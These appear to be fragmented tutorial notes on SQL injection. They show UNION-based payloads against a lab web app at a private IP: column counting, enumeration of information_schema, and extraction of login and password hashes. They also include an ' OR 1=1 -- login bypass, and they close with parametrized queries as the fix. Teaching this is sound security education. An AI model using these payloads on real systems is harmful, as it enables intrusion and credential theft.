SQL Injection Quick Notes
SQL Injection Quick Notes
select * from pictures union select * from Show an error the two select queries have different number of columns;
users;
select title from pictures union select login Show column title from pictures concatenated with column login from users
from users;
Select title,img from pictures union select Show columns title,img from pictures concatenated with columns login,password
login,password from users; from users
4
http://192.168.1.144/cat.php?id=1 union ===> select * from pictures where cat=1 union select 1,2
select 1,2 ==> Show error as number of columns in the left select statement is different from
the right select statement
http://192.168.1.144/cat.php?id=1 union ===> select * from pictures where cat=1 union select 1,2,3
select 1,2,3 ==> Show error as number of columns in the left select statement is different from
the right select statement
9
http://192.168.1.144/cat.php?id=1 union ===> select * from pictures where cat=2 union select 1,2,3,4
select 1,2,3,4 ==> no error, the left select statement have 4 columns.
Also, image and image title are coming from column number 2 in the left and right
select statements.
Hacker could use column number 2 as input in the URL, and output in the page for
SQL Injection scripts.
10
192.168.1.144/cat.php?id=1union select Show all tables column names used in mysql DBMS.
1,column_name,3,4 from We clearly see the columns: login, password which belongs to the table users.
information_schema.columns
15
http://192.168.1.144/cat.php?id=1 union The hacker could get user password easily. Here the password is encrypted.
select 1,password,3,4 from users
17
http://192.168.1.144/cat.php?id=1 union The hacker could get user login and password easily. Here the password is
select 1,concat(login, %27:%27, encrypted.
password),3,4 from users
18
19
SIMPLE EXERCICE:
In the following section. We will create our own table, and try to hack it.
If you enter login=jsmith and password=demo1234, your query become in the back end:
If you enter login=' and password=a, your query become in the back end:
If you enter login=' OR 1=1 -- and password=demo1234, your query become in the back end:
Parametrized queries:
pstmt.setparameter(2, "demo1234");
===> SQL will search for users with login =’ OR 1=1 -- and password=demo1234. The injected script will not be considered as part of the SQL
statement.